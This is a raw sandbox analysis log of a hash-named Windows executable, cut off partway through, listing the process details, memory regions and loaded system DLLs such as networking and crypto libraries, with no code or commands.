# Flog Txt Version 1 # Analyzer Version: 4.3.0 # Analyzer Build Date: Sep 20 2021 05:59:55 # Log Creation Date: 27.09.2021 16:30:25.600 Process: id = "1" image_name = "1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe" filename = "c:\\users\\rdhj0cnfevzx\\desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe" page_root = "0x49614000" os_pid = "0x11ac" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x640" cmd_line = "\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe\" " cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f142" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 118 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 119 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 120 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 121 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 122 start_va = 0xa0000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 123 start_va = 0x1a0000 end_va = 0x1a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 124 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 125 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 126 start_va = 0x400000 end_va = 0x518fff monitored = 1 entry_point = 0x401b2c region_type = mapped_file name = "1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe") Region: id = 127 start_va = 0x778f0000 end_va = 0x77a6afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 128 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 129 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 130 start_va = 0x7fff0000 end_va = 0x7ffb28afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 131 start_va = 0x7ffb28b00000 end_va = 0x7ffb28cc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 132 start_va = 0x7ffb28cc1000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffb28cc1000" filename = "" Region: id = 270 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 271 start_va = 0x657b0000 end_va = 0x65829fff monitored = 0 entry_point = 0x657c3290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 272 start_va = 0x65840000 end_va = 0x6588ffff monitored = 0 entry_point = 0x65858180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 273 start_va = 0x74650000 end_va = 0x7472ffff monitored = 0 entry_point = 0x74663980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 274 start_va = 0x65830000 end_va = 0x65837fff monitored = 0 entry_point = 0x658317c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 275 start_va = 0x590000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 276 start_va = 0x74650000 end_va = 0x7472ffff monitored = 0 entry_point = 0x74663980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 277 start_va = 0x75e80000 end_va = 0x75ffdfff monitored = 0 entry_point = 0x75f31b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 278 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 279 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 280 start_va = 0x6e0000 end_va = 0x79dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 281 start_va = 0x74570000 end_va = 0x74601fff monitored = 0 entry_point = 0x745b0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 282 start_va = 0x7fb00000 end_va = 0x7fea0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb") Region: id = 283 start_va = 0x20000 end_va = 0x23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 284 start_va = 0x74790000 end_va = 0x748d6fff monitored = 0 entry_point = 0x747a1cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 285 start_va = 0x758f0000 end_va = 0x75a3efff monitored = 0 entry_point = 0x759a6820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 286 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 287 start_va = 0x7a0000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 288 start_va = 0x520000 end_va = 0x549fff monitored = 0 entry_point = 0x525680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 289 start_va = 0x8a0000 end_va = 0xa27fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008a0000" filename = "" Region: id = 290 start_va = 0x75e50000 end_va = 0x75e7afff monitored = 0 entry_point = 0x75e55680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 291 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 292 start_va = 0x520000 end_va = 0x520fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 293 start_va = 0xa30000 end_va = 0xbb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a30000" filename = "" Region: id = 294 start_va = 0xbc0000 end_va = 0x1fbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bc0000" filename = "" Region: id = 295 start_va = 0x1fc0000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fc0000" filename = "" Region: id = 296 start_va = 0x2140000 end_va = 0x293ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002140000" filename = "" Region: id = 297 start_va = 0x530000 end_va = 0x532fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 298 start_va = 0x530000 end_va = 0x532fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 299 start_va = 0x1fc0000 end_va = 0x2093fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fc0000" filename = "" Region: id = 300 start_va = 0x2130000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002130000" filename = "" Region: id = 301 start_va = 0x2140000 end_va = 0x2212fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 302 start_va = 0x77820000 end_va = 0x7789afff monitored = 0 entry_point = 0x7783e970 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 303 start_va = 0x75680000 end_va = 0x7573dfff monitored = 0 entry_point = 0x756b5630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 304 start_va = 0x75740000 end_va = 0x75783fff monitored = 0 entry_point = 0x75759d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 305 start_va = 0x74b50000 end_va = 0x74bfcfff monitored = 0 entry_point = 0x74b64f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 306 start_va = 0x74620000 end_va = 0x7463dfff monitored = 0 entry_point = 0x7462b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 307 start_va = 0x74610000 end_va = 0x74619fff monitored = 0 entry_point = 0x74612a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 308 start_va = 0x74730000 end_va = 0x74787fff monitored = 0 entry_point = 0x747725c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 309 start_va = 0x2140000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 310 start_va = 0x76370000 end_va = 0x7776efff monitored = 0 entry_point = 0x7652b990 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 311 start_va = 0x75300000 end_va = 0x75336fff monitored = 0 entry_point = 0x75303b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 312 start_va = 0x74c60000 end_va = 0x75158fff monitored = 0 entry_point = 0x74e67610 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 313 start_va = 0x754b0000 end_va = 0x7566cfff monitored = 0 entry_point = 0x75592a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 314 start_va = 0x75790000 end_va = 0x757d4fff monitored = 0 entry_point = 0x757ade90 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 315 start_va = 0x757e0000 end_va = 0x757ebfff monitored = 0 entry_point = 0x757e3930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 316 start_va = 0x748e0000 end_va = 0x7496cfff monitored = 0 entry_point = 0x74929b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 317 start_va = 0x77770000 end_va = 0x777b3fff monitored = 0 entry_point = 0x77777410 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 318 start_va = 0x757f0000 end_va = 0x757fefff monitored = 0 entry_point = 0x757f2e40 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 319 start_va = 0x75670000 end_va = 0x75675fff monitored = 0 entry_point = 0x75671460 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 320 start_va = 0x70830000 end_va = 0x70a3cfff monitored = 0 entry_point = 0x7091acb0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 321 start_va = 0x6c4d0000 end_va = 0x6c63afff monitored = 0 entry_point = 0x6c53e360 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_538a540779726150\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_538a540779726150\\gdiplus.dll") Region: id = 322 start_va = 0x6cb30000 end_va = 0x6cbeefff monitored = 0 entry_point = 0x6cb41dfc region_type = mapped_file name = "msvcr100.dll" filename = "\\Windows\\SysWOW64\\msvcr100.dll" (normalized: "c:\\windows\\syswow64\\msvcr100.dll") Region: id = 323 start_va = 0x530000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 324 start_va = 0x20a0000 end_va = 0x211ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020a0000" filename = "" Region: id = 325 start_va = 0x742c0000 end_va = 0x742dafff monitored = 0 entry_point = 0x742c9050 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 326 start_va = 0x749d0000 end_va = 0x74b47fff monitored = 0 entry_point = 0x74a28a90 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 327 start_va = 0x74640000 end_va = 0x7464dfff monitored = 0 entry_point = 0x74645410 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 328 start_va = 0x75160000 end_va = 0x7524afff monitored = 0 entry_point = 0x7519d650 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 329 start_va = 0x2140000 end_va = 0x21d0fff monitored = 0 entry_point = 0x2178cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 330 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 331 start_va = 0x72180000 end_va = 0x7244afff monitored = 0 entry_point = 0x723bc4c0 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 332 start_va = 0x2230000 end_va = 0x2566fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 333 start_va = 0x530000 end_va = 0x530fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 334 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 335 start_va = 0x76150000 end_va = 0x761e1fff monitored = 0 entry_point = 0x76188cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 336 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "counters.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat") Region: id = 337 start_va = 0x560000 end_va = 0x560fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 338 start_va = 0x75860000 end_va = 0x758e3fff monitored = 0 entry_point = 0x75886220 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 339 start_va = 0x570000 end_va = 0x570fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 340 start_va = 0x590000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 341 start_va = 0x5e0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 342 start_va = 0x20a0000 end_va = 0x20dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020a0000" filename = "" Region: id = 343 start_va = 0x2110000 end_va = 0x211ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 344 start_va = 0x2140000 end_va = 0x217ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 345 start_va = 0x2570000 end_va = 0x266ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 346 start_va = 0x2670000 end_va = 0x276ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002670000" filename = "" Region: id = 347 start_va = 0x2770000 end_va = 0x286ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002770000" filename = "" Region: id = 505 start_va = 0x2180000 end_va = 0x21bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 506 start_va = 0x2870000 end_va = 0x296ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 507 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 508 start_va = 0x761f0000 end_va = 0x7624efff monitored = 0 entry_point = 0x761f4af0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 509 start_va = 0x70800000 end_va = 0x70811fff monitored = 0 entry_point = 0x70804510 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\SysWOW64\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\syswow64\\ondemandconnroutehelper.dll") Region: id = 510 start_va = 0x72040000 end_va = 0x7206efff monitored = 0 entry_point = 0x7204bb70 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 511 start_va = 0x70760000 end_va = 0x707fafff monitored = 0 entry_point = 0x7079f7e0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll") Region: id = 514 start_va = 0x21c0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021c0000" filename = "" Region: id = 515 start_va = 0x2970000 end_va = 0x2a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002970000" filename = "" Region: id = 516 start_va = 0x72100000 end_va = 0x7214efff monitored = 0 entry_point = 0x7210d850 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 517 start_va = 0x70750000 end_va = 0x70757fff monitored = 0 entry_point = 0x70751fc0 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 518 start_va = 0x2a70000 end_va = 0x2aaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a70000" filename = "" Region: id = 519 start_va = 0x2ab0000 end_va = 0x2baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ab0000" filename = "" Region: id = 520 start_va = 0x75250000 end_va = 0x75256fff monitored = 0 entry_point = 0x75251e10 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 521 start_va = 0x72070000 end_va = 0x720f3fff monitored = 0 entry_point = 0x72096530 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 523 start_va = 0x70a40000 end_va = 0x70bbdfff monitored = 0 entry_point = 0x70abc630 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 524 start_va = 0x20e0000 end_va = 0x20e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000020e0000" filename = "" Region: id = 525 start_va = 0x2bb0000 end_va = 0x2beffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bb0000" filename = "" Region: id = 526 start_va = 0x2bf0000 end_va = 0x2ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bf0000" filename = "" Region: id = 527 start_va = 0x71fe0000 end_va = 0x72026fff monitored = 0 entry_point = 0x71ff58d0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 528 start_va = 0x72030000 end_va = 0x72037fff monitored = 0 entry_point = 0x72031920 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 529 start_va = 0x20f0000 end_va = 0x20f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000020f0000" filename = "" Region: id = 530 start_va = 0x2100000 end_va = 0x2100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002100000" filename = "" Region: id = 531 start_va = 0x2cf0000 end_va = 0x30eafff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cf0000" filename = "" Region: id = 532 start_va = 0x70580000 end_va = 0x705e3fff monitored = 0 entry_point = 0x7059afd0 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\SysWOW64\\schannel.dll" (normalized: "c:\\windows\\syswow64\\schannel.dll") Region: id = 533 start_va = 0x2120000 end_va = 0x2123fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002120000" filename = "" Region: id = 534 start_va = 0x2200000 end_va = 0x2201fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 535 start_va = 0x70570000 end_va = 0x7057ffff monitored = 0 entry_point = 0x70574600 region_type = mapped_file name = "mskeyprotect.dll" filename = "\\Windows\\SysWOW64\\mskeyprotect.dll" (normalized: "c:\\windows\\syswow64\\mskeyprotect.dll") Region: id = 536 start_va = 0x70550000 end_va = 0x7056ffff monitored = 0 entry_point = 0x7055d120 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\SysWOW64\\ncrypt.dll" (normalized: "c:\\windows\\syswow64\\ncrypt.dll") Region: id = 537 start_va = 0x70520000 end_va = 0x7054bfff monitored = 0 entry_point = 0x7053bb10 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\SysWOW64\\ntasn1.dll" (normalized: "c:\\windows\\syswow64\\ntasn1.dll") Region: id = 538 start_va = 0x2210000 end_va = 0x2210fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 539 start_va = 0x704f0000 end_va = 0x704f7fff monitored = 0 entry_point = 0x704f1d70 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\SysWOW64\\dpapi.dll" (normalized: "c:\\windows\\syswow64\\dpapi.dll") Region: id = 540 start_va = 0x778a0000 end_va = 0x778e1fff monitored = 0 entry_point = 0x778b6f10 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\SysWOW64\\wintrust.dll" (normalized: "c:\\windows\\syswow64\\wintrust.dll") Region: id = 542 start_va = 0x704d0000 end_va = 0x704e2fff monitored = 0 entry_point = 0x704d9950 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 543 start_va = 0x704a0000 end_va = 0x704cefff monitored = 0 entry_point = 0x704b95e0 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 544 start_va = 0x30f0000 end_va = 0x312ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000030f0000" filename = "" Region: id = 545 start_va = 0x3130000 end_va = 0x322ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003130000" filename = "" Region: id = 546 start_va = 0x70500000 end_va = 0x70519fff monitored = 0 entry_point = 0x7050fa70 region_type = mapped_file name = "ncryptsslp.dll" filename = "\\Windows\\SysWOW64\\ncryptsslp.dll" (normalized: "c:\\windows\\syswow64\\ncryptsslp.dll") Region: id = 547 start_va = 0x3230000 end_va = 0x332ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003230000" filename = "" Region: id = 548 start_va = 0x3330000 end_va = 0x342ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003330000" filename = "" Region: id = 549 start_va = 0x2200000 end_va = 0x2210fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_20127.nls" filename = "\\Windows\\System32\\C_20127.NLS" (normalized: "c:\\windows\\system32\\c_20127.nls") Region: id = 550 start_va = 0x3430000 end_va = 0x362ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003430000" filename = "" Region: id = 552 start_va = 0x3630000 end_va = 0x3772fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003630000" filename = "" Region: id = 553 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003780000" filename = "" Region: id = 554 start_va = 0x3790000 end_va = 0x388ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003790000" filename = "" Region: id = 555 start_va = 0x3890000 end_va = 0x38affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003890000" filename = "" Region: id = 556 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename 